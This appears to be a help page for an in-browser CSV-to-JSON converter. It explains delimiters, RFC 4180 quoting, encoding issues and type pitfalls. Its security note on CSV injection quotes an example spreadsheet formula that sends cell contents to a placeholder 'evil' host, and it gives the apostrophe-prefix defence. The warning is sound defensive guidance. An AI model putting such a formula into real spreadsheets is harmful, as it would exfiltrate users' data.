Both directions with delimiter choice
{{ error }}
CSV is the de facto format for tabular data from Excel/Google Sheets — compact, human-readable, but typeless. JSON is more structured, has types (string, number, boolean, null, array, object) and is native to web APIs. When swapping between them, the header row matters (becomes object keys). Watch the delimiter: German Excel uses semicolons because the comma is the decimal separator.
CSV (Comma-Separated Values) is a plain-text format in which each line represents a record and the fields are separated by a delimiter — usually comma, semicolon, tab or pipe. It is documented in RFC 4180 and supported by virtually every spreadsheet application.
JSON (JavaScript Object Notation) is a lightweight, language-independent data format that supports hierarchically nested objects and arrays and knows types like string, number, boolean, null. JSON was popularized by Douglas Crockford and is the de facto standard for REST APIs, configuration files and NoSQL databases like MongoDB.
"" (RFC 4180).für) with the wrong charset. UTF-8 is the recommended modern standard.From the following CSV input:
name,age,role,city
Alice,30,admin,"Berlin, DE"
Bob,25,user,Munich
Charlie,35,editor,"Bremen"
...the tool produces this JSON output:
[
{ "name": "Alice", "age": "30", "role": "admin", "city": "Berlin, DE" },
{ "name": "Bob", "age": "25", "role": "user", "city": "Munich" },
{ "name": "Charlie", "age": "35", "role": "editor", "city": "Bremen" }
]
No. The conversion runs entirely in your browser via JavaScript. Your data never leaves your device. You can even use the page offline once it has loaded.
Four common delimiters: comma (,), semicolon (;), tab and pipe (|). Pick one via the dropdown above the input box.
Following RFC 4180: fields containing the delimiter, a line break or a quote are wrapped in double quotes, and quotes inside the field are doubled "". The tool supports this convention both when parsing and writing.
Yes. Just click JSON → CSV above the input box. The tool supports both directions with identical delimiter and quote logic. The JSON should be an array of objects or an array of arrays.
Since everything runs in the browser, the maximum size depends on the available memory of your device. For most use cases (up to about 10–20 MB) the tool stays responsive. For very large files, dedicated CLI tools like jq or csvkit are often a better fit.
Comma-Separated Values has existed since the 1970s but was only loosely standardized in RFC 4180 in 2005. CSV is attractive because it is compact, streamable line by line, and readable by every tool from cat to Excel. A file consists of CR/LF-terminated rows and fields separated by a delimiter — usually comma in the US, semicolon in Europe (where comma is the decimal mark), tab in logs, or pipe in legacy mainframe exports. Quotes wrap fields that contain the delimiter, line breaks, or quotes themselves — the latter doubled up ("He said ""hi""").
JSON, by contrast, is clearly defined since 2017 in RFC 8259 (in parallel ECMA-404): UTF-8 is mandatory, types are string, number, boolean, null, object and array. JSON nests freely and is self-describing, but less compact than CSV. For tabular data you map a CSV row to an object whose keys are the header names; a typical API response or NDJSON stream is a list of such objects. Our tool handles both directions: CSV → array of objects, or JSON array → CSV with headers derived automatically.
When do you pick which? CSV wins for large, flat datasets that fit a table — exports, logs, bulk imports. JSON wins for nested structures, APIs and anything that needs typed values. If you need both, use CSV as transport and JSON as your working format — exactly what this tool is built for.
Conversion runs entirely in the browser — no upload, no data transfer. Follow these steps:
;, US files ,, log exports often tab (\t). For JSON → CSV the delimiter controls the separator of the output."").curl payload, a fetch() body or a jq pipeline. Errors are shown below the fields.These typical conversion cases show what the tool accepts:
id,name,age plus data rows yields [{"id":"1","name":"Anna","age":"30"},...]."Berlin, DE" stays a single field thanks to RFC 4180 quoting. In JSON it becomes "city":"Berlin, DE"."He said ""hi""" decodes to He said "hi". On the way back JSON → CSV the tool re-doubles quotes automatically.Name;Alter;Stadt + Müller;42;Köln. Switch the delimiter to ; and the tool returns [{"Name":"Müller","Alter":"42","Stadt":"Köln"}].[{"a":1,"b":2},{"a":3}] turns into a,b\n1,2\n3,. The tool collects the union of all keys as the header row.Three issues bite CSV users repeatedly. First, types: CSV only knows strings. After conversion "42" stays a string, not a number. If you need typed JSON values, post-process with parseInt, parseFloat or a schema validator such as Zod, Yup or JSON Schema — automatic type inference is dangerous because ZIP codes like 00123 become 123 and phone numbers lose leading zeros. Second, encoding: CSV defines no charset. Excel often writes Windows-1252 or UTF-16 with BOM on Windows, while UNIX tools expect UTF-8. If umlauts or emoji look mangled in the output (Müller becomes Müller), the source file was not UTF-8 — pre-convert with iconv -f WINDOWS-1252 -t UTF-8 or "Save as UTF-8" in Excel. Third, security-critical — CSV injection: fields starting with =, +, - or @ are evaluated as formulas by Excel and Google Sheets. An attacker can sneak in =HYPERLINK("http://evil/exfil?"&A1, "Click") and the spreadsheet exfiltrates data on open. If you generate CSV for unknown consumers, prefix such cells with an apostrophe ' or a space. JSON has no such problem because it has no formula evaluation model.
"42" and "3.14" are still strings. If you need typed values, map the JSON result through Number() or schema validation (Zod, Yup, JSON Schema). Be careful with identifiers like ZIP codes or SKUs that carry leading zeros.;. German Excel uses semicolons because comma is reserved as decimal separator. Also watch the encoding — Excel often saves Windows-1252 instead of UTF-8; in that case re-save as "CSV UTF-8" first."Berlin, DE". The parser follows RFC 4180: quotes only act at the start and end of a field, and a quote inside a quoted field is represented as "".=, +, - or @ are interpreted as formulas by Excel and Google Sheets and can exfiltrate data or fetch external URLs on open. When generating CSV for third parties, prefix such fields with an apostrophe ' or escape them server-side.address.street as its own column). Our tool maps top-level properties directly; nested values land as [object Object], which is rarely what you want.